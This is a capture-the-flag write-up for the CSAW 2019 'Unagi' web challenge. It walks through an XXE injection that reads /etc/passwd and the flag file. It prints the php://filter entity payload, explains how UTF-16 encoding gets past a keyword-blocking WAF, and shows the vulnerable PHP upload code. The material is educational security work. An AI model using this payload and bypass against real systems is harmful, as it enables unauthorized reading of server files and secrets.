Writeup: CSAW Quals 2019 - Unagi

Information

  • category: web
  • points: 200

Description

come get me

http://web.chal.csaw.io:1003

Writeup

The web site shows some pages.

The list of all users:

The upload form to create a new user:

The flag path:

We can also check the sample file that the application accept to add a new user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version='1.0'?>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

We can immediately see that in userdb.php the application shows an additional field intro that is not present in the sample and some output seem to be truncated…

Anyway: XML => XXE Injection! Let’s spin up Burp and perform some modification on the payload.

The parser truncate some fields but it seems that <intro> is left untouched: this will be our printer node.

We injected the classic XXE payload to read the /etc/passwd and we added some random char to see what the application can do.

<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>]>

This payload uses the PHP filter wrapper to read a stream and convert it to base64. The encoding is used to avoid embedding bad chars into the application HTML/template/parser.

Unfortunately the payload is blocked by a WAF. To bypass a simple WAF, usually, the first thing to try is to URL-encode all chars.

To easily URL-encode the XXE we used a plugin: Hackvertor. This add-on can be used to specify a tag with the encoding around the payload; Burp will do the rest for us.

This time the WAF do not blocked the request but we didn’t get any output: something broke the XML parser.

Let’s try another encoding:

After testing other encodings we read about an XXE WAF bypass that used a UTF-16 encoding: https://mohemiv.com/all/evil-xml-with-two-encodings/. The encoding, thus, must not be used only for the malicious payload but for the upload file itself.

Hackvertor can be used to add the tag <@utf16_0> at the begin and end of the file.

Issuing the request we got some base64 junk in the <group> node. We removed the injection output from <intro> node to avoid other possible errors.

The base64 is:

1
root:x:0:0:root

The bypass works and we got the begin of /etc/passwd. Let’s print all the file using <intro>.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

Bingo! We also exfiltrated other files like upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="style.css">
</head>

<body>
<?php
if (isset($_FILES['doc']) && ($_FILES['doc']['error'] == UPLOAD_ERR_OK)) {
$isValid = false;
$filename = $_FILES['doc']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if( $ext !== 'xml'){
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"file") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"SYSTEM") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"PHP") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"php") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"ENTITY") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"xxe") !== false) {
$isValid = false;
}
elseif( strpos(htmlentities(file_get_contents($_FILES['doc']['tmp_name'])),"XXE") !== false) {
$isValid = false;
}
else{
$isValid = true;
}

if($isValid){
libxml_disable_entity_loader(false);
$new_xml = simplexml_load_file($_FILES['doc']['tmp_name'], null, LIBXML_NOENT);
$new_users = $new_xml->user;
$text = "";
foreach ($new_users as $user){
if ($user->name->__toString()){
$text .= "<p>Name: " . substr($user->name->__toString(),0,20) . "</p>\n";
}
if ($user->email->__toString()){
$text .= "<p>Email: " . substr($user->email->__toString(),0,20). "</p>\n";
}
if ($user->group->__toString()){
$text .= "<p>Group: " . substr($user->group->__toString(),0,20) . "</p>\n";
}
if ($user->intro->__toString()){
$text .= "<p>Intro: " . $user->intro->__toString() . "</p><br>\n";
}
$text .= "<br>\n";
}
printf('<b>%s</b>', "Successfully uploaded user profiles.");
}
else{
printf('<b>%s</b>', "WAF blocked uploaded file. Please try again");
}
}
?>
<div class="topnav">
<a href="index.php">Home</a>
<a href="user.php">User</a>
<a class="active" href="upload.php">Upload</a>
<a href="about.php">About</a>
</div>

<h1> Upload new users to the system </h1>
<p1> You can check out the format example <a href="sample.xml">here</a></p1><br>
<br>

<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="doc" />
<input type="submit" name="submit" value="Upload">
</form>

<div id="newuser"></div>
<?php printf($text); ?>
</body>
</html>

The “WAF” is just a if-else matching some classic XXE keyword and the output of some nodes is limited to 20 chars.

Since the flag is in /flag.txt we exfiltrated the file /var/www/html/flag.txt

No output because the flag IS IN /flag.txt!

Output:

1
2
3
4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Flag

flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}